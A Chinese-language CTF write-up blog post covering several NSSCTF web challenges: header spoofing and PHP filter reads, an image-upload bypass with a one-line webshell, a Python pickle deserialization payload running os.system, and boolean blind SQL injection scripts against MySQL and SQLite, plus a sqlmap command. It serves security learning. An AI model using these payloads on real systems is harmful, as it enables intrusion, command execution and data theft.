NSSCTF第13页(3)

[FSCTF 2023]巴巴托斯!

看见个输入路径,打了半天没进去,php伪协议也打不进去,

用dirsearch扫一下

看了半天才看出来,那串英文

Access Denied! I love FSCTF Browser

是要用FSCTF浏览器,改一下ua头就行了

说不是本地,referer输入127.0.0.1

发现没回显,用php伪协议来读取

成功读取,得到flag

 [SWPUCTF 2022 新生赛]file_master

限制了文件类型,只能传jpg类型,抓包改包

类型长宽必须小于20

还是第一次遇到这种题,可以直接定义长宽的值为1

#define hight 1

#define width 1

发现还是不行

可能是对php头进行了检测,修改一下一句话木马

成功绕过

ls /

cat /flag

[HZNUCTF 2023 preliminary]pickle 

代码审计

放到皮查姆里边看看,利用ctrl+alt+L规格化代码

gpt解释

去查了一下才知道pickle是python中的反序列化函数

python pickle模块常见函数_pickle函数-CSDN博客

Python 序列化 pickle 模块_pickle序列化-CSDN博客

第一次见python反序列化的题

 NSSCTF-[HZNUCTF 2023 preliminary]-web-CSDN博客

发现有两个网页但是访问不进去

根据这篇博客进行的复现,主要是在函数的理解以及脚本的编写上

import pickle  
import base64  class rayi(object):  
def __reduce__(self):  
#return eval,("__import__('o'+'s').system('ls / | tee a')",)  
return eval,("__import__('o'+'s').system('env | tee a')",)  a=rayi()  
print(pickle.dumps(a))  
print(base64.b64encode(pickle.dumps(a)))

 

得到flag文件是在.sh文件里

查看环境变量得到flag

本题重点:

python代码里先进行return以覆盖下一个return的返回值。所以本题可以让反序列化之后的值先进行return的操作

python中,os就是可以调用system的函数:

os模块负责程序与操作系统的交互,提供了访问操作系统底层的接口;即os模块提供了非常丰富的方法用来处理文件和目录。

所以os.system('ls /')也是可以读取根目录的。但是由于eval函数没有回显,所以用tee将内容复制到a.txt,然后再用/readFile函数读取文件就可以了。
 

[WUSTCTF 2020]颜值成绩查询 

输入1有固定回显,输入2-4发现有乱码,输入5发现用户不存在,输入其他特殊字符无回显,也无报错回显

利用大佬的二分法脚本

利用的时候只需要改一下url和success_message,基本通用的脚本

import timeimport requestsSuccess_message = "Hi"
#使用时改一下Success_message、url!!!!!!!!!!!!!!!!!!!!!!def database_name():db_name = ''for i in range(1, 10):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakdb_name += chr(mid)print("数据库名: " + db_name)return db_namedef table_name():name = ''for j in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + '?stunum=(ascii(substr((select(group_concat(table_name))from(' \'information_schema.tables)where(table_schema=database())), %d, 1)) > %d)' % (j, mid)time.sleep(0.2)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakname += chr(mid)print("表名: " + name)table_list = name.split(",")for tab_name in table_list:column_name(tab_name)def column_name(tab_name):name = ''for j in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + '?stunum=(ascii(substr((select(group_concat(column_name))from(' \'information_schema.columns)where(table_name="%s")and(table_schema=database())), %d, ' \'1)) > %d)' % (tab_name, j, mid)time.sleep(0.2)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakname += chr(mid)print(("%s表的字段名: " + name) % tab_name)column_list = name.split(",")for col_name in column_list:get_data(tab_name, col_name)def get_data(tab_name, col_name):data = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % (col_name, tab_name, i, mid)time.sleep(0.2)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakdata += chr(mid)print(("%s表的%s字段数据: " + data) % (tab_name, col_name))if __name__ == '__main__':url = input("请输入url:")database_name()table_name()

大佬博客:

[WUSTCTF2020]颜值成绩查询_Tajang的博客-CSDN博客

 得到flag

[NSSRound#1 Basic]sql_by_sql

先随便注册一个用户,进到页面里

在修改密码页面的源代码处看到提示

所以注册用户admin'--并修改密码就可以登录admin,在home页面的查询有两种回显,exist或no user,显然是布尔盲注,需要注意的是数据库是sqlite,查询语句不太一样。 

SQLite数据库介绍与使用-CSDN博客 

SQLite中有一个类似information_schema功能的表sqlite_master
 
其中有五个字段
 
    type:记录项目的类型,如table、index、view、trigger
 
    name:记录项目的名称,如表名、索引名等
 
    tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
 
    rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
 
    sql:记录创建该项目的SQL语句 

之前做过一道题,就是利用二次注入拿权限然后得flag,这道题开始的做法和那道题类似

先注册一个admin'--+ 因为admin'#报错了,用这个注册的admin来覆盖之前的那个admin

通过修改密码,把admin的密码改掉,然后再进行登录admin,发现成功登录

输入id查询发现回显不是no user 就是exist

 还发现一个post请求的url路径,cooike里有一个session值

附脚本给大家 session值也要记得改

# python sqlmap.py -u "http://node4.anna.nssctf.cn:28735/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZPHIxA.lAQc_M-IaV4V6i6T9b7Wwks4sic" -T flag -C flag --dump --level 3
import requests
import time
import stringstr = string.ascii_letters + string.digits + "{}|-~,"
# print(str)
print(string.printable)
url = "http://node4.anna.nssctf.cn:28682/query"
s = requests.session()
flag = ""
headers = {'Cookie': "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZWbD1g.RMAlNj04CYQl5Z18DImPWi4Tgto"}for i in range(0, 100):for x in str:data = {# 'id': "1 and substr((select name from sqlite_master where type='table' limit {},1),1,1)='{}'".format(i,x),'id': "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, x)}res = s.post(url=url, data=data,headers=headers)# print(data)# print(res.status_code)# time.sleep(0.1)if "exist" in res.text:flag += xprint(flag)breakif chr == '%':break
# select flag from flag 获得flag
# select sql from sqlite_master where type='table' and name='flag'爆列

 得到flag

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/185536.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数字图像处理(实践篇)十二 基于小波变换的图像降噪

目录 一 基于小波变换的图像降噪 &#xff08;1&#xff09;小波变换基本理论 &#xff08;2&#xff09;小波分析在图像处理中的应用 &#xff08;3&#xff09;小波变换原理 &#xff08;4&#xff09;小波降噪原理 &#xff08;5&#xff09;小波降噪算法的实现 &…

vsVode C++开发远程虚拟机工程配置

在使用VS Code进行C/C的开发过程中&#xff0c;有三个至关重要的配置文件&#xff0c;分别是 tasks.json, launch.json 和 c_cpp_properties.json 1. tasks.json tasks.json 是在 vscode 中辅助程序编译的模块&#xff0c;可以代你执行类似于在命令行输入 “gcc hello.c -o h…

解决webpack打包生成gz格式css/js文件没法在nginx使用的问题--全网唯一正确

本文绝对是全网解决这个问题唯一正确的文章&#xff0c;没有之一&#xff01; 很多人都说开启nginx gzip压缩&#xff0c;这些人完全是胡说八道&#xff01;你们到底懂不懂叫gzip压缩啊&#xff1f;&#xff01; 不信你就试试&#xff0c;如果css/js只有gz文件&#xff0c;ng…

排序分析(Ordination analysis)及R实现

在生态学、统计学和生物学等领域&#xff0c;排序分析是一种用于探索和展示数据结构的多元统计技术。这种分析方法通过将多维数据集中的样本或变量映射到低维空间&#xff0c;以便更容易理解和可视化数据之间的关系。排序分析常用于研究物种组成、生态系统结构等生态学和生物学…

中伟视界:AI盒子中的报警预录像功能能解决什么问题?实现原理是怎样的?

现代社会智能安防已成为各行各业的重要一环&#xff0c;而AI盒子中的报警预录像功能更是智能安防的一大利器。这一功能能够解决很多安防方面的难题&#xff0c;其实现原理更是技术创新的体现。 首先&#xff0c;让我们来看看AI盒子中的报警预录像功能能解决哪些问题。在传统的安…

Prosys OPC Client连接OPC DA

Prosys OPC Client连接OPC DA Prosys OPC 客户端将帮助排除 OPC 连接故障并测试 OPC 服务器。 您可以读写数据、浏览服务器以及导出和导入地址空间。 OPC 客户端轻巧、快速且易于使用。 支持 OPC DA 1.0a 和 OPC DA 2.05a 官方地址: https://www.prosysopc.com/products/opc-…

《开箱元宇宙》:Madballs 解锁炫酷新境界,人物化身系列大卖

你是否曾想过&#xff0c;元宇宙是如何融入世界上最具代表性的品牌和名人的战略中的&#xff1f;在本期的《开箱元宇宙》 系列中&#xff0c;我们与 Madballs 的战略顾问 Derek Roberto 一起聊聊 Madballs 如何在 90 分钟内售罄 2,000 个人物化身系列&#xff0c;以及是什么原…

4.7-容器网络之host和none

这一节我们来看一下docker中的另外两种网络&#xff0c;host和none。 docker network inspect none 于是就看到Containers, 里面包含了一个test1 表示这个容器连接到了none。

陈嘉庚慈善践行与卓顺发的大爱传承

陈嘉庚慈善践行&#xff0c;了解陈嘉庚后人与卓顺发的大爱传承。 2023年11月25日,卓顺发太平绅士以及陈家后人在分享他们对慈善领域见解的过程中,特别强调了慈善在促进社会和谐以及推动社会进步方面的关键作用。同时,他们深入探讨了如何在当今社会中继续传扬和实践家国情怀以及…

清理docker Build Cache缓存文件

使用docker构建镜像&#xff0c;发现docker的overlay2文件会越来越大。 使用命令查看docker系统占用资源&#xff1a; docker system df 可以看到已经占用了26.7GB&#xff0c;清理这个缓存 docker builder prune 再次查看&#xff0c;已经没有缓存了&#xff0c;清理成功。 …

Linux基础操作二:Linux系统介绍

1、系统启动过程 Linux系统的启动过程并不是大家想象中的那么复杂&#xff0c;其过程可以分为5个阶段&#xff1a; 内核的引导。运行 init。系统初始化。建立终端 。用户登录系统。 1.1、内核引导 当计算机打开电源后&#xff0c;首先是BIOS开机自检&#xff0c;按照BIOS中…

固态继电器的分类:揭秘热门趋势

固态继电器(SSR)已成为现代电子和自动化系统不可或缺的一部分&#xff0c;与传统电磁继电器相比具有众多优势。随着技术的进步&#xff0c;SSR的分类不断发展&#xff0c;催生了令人兴奋的趋势和创新。在本文中&#xff0c;我们将探讨SSR分类的最新趋势&#xff0c;阐明该领域的…

10.索引

一.索引简介 索引用于快速找出在某个列中有一特定值的行。 不使用索引&#xff0c;MySQL必须从第1条记录开始读完整个表&#xff0c;直到找出相关的行。表越大&#xff0c;查询数据所花费的时间越多。 如果表中查询的列有一个索引&#xff0c;MySQL能快速到达某个位置去搜寻…

计算机毕业设计 基于Web的课程设计选题管理系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

css 字体倾斜

css 字体倾斜 //左右倾斜 transform: skew(40deg, 0deg);//上下倾斜 transform: skew(0deg, 16deg);

【代码】考虑区域多能源系统集群协同优化的联合需求侧响应模型(完美复现)

程序名称&#xff1a;考虑区域多能源系统集群协同优化的联合需求侧响应模型 实现平台&#xff1a;matlab-yalmip-cplex/gurobi 代码简介&#xff1a;风电、光伏发电等波动电源接入比例不断提高&#xff0c;使得区域多能源系统中能量转化和协调能力减弱。基于此&#xff0c;该…

面试:SpringMVC问题

文章目录 SpringMVC运行流程MVC的概念与请求在MVC中的执行路径&#xff0c;ResponsBody注解的用途SpringMVC启动流程SpringMVC的拦截器和过滤器有什么区别&#xff1f;执行顺序&#xff1f;Spring和SpringMVC为什么需要父子容器&#xff1f; SpringMVC运行流程 • 客户端&#…

Docker Swarm总结+Jenkins安装配置与集成snarqube和目标服务器(4/5)

博主介绍&#xff1a;Java领域优质创作者,博客之星城市赛道TOP20、专注于前端流行技术框架、Java后端技术领域、项目实战运维以及GIS地理信息领域。 &#x1f345;文末获取源码下载地址&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&#x1f3fb;…

海外热门:香港服务器和美国服务器的成本较量

​  提到 2023 年海外热门服务器&#xff0c;在整个 IDC 站长圈中&#xff0c;要数香港服务器和美国服务器的关注度一直居高不下。其实也正常&#xff0c;毕竟这两种海外服务器相较成熟。不过&#xff0c;在实际使用中&#xff0c;两者也会被拿来对比&#xff0c;最显而易见的…

Python多线程优化:提升程序性能的实例

更多Python学习内容&#xff1a;ipengtao.com 大家好&#xff0c;我是涛哥&#xff0c;今天为大家分享 Python多线程优化&#xff1a;提升程序性能的实例&#xff0c;全文5600字&#xff0c;阅读大约16钟。 多线程是一种有效的并发编程方式&#xff0c;能够提高程序的性能。本文…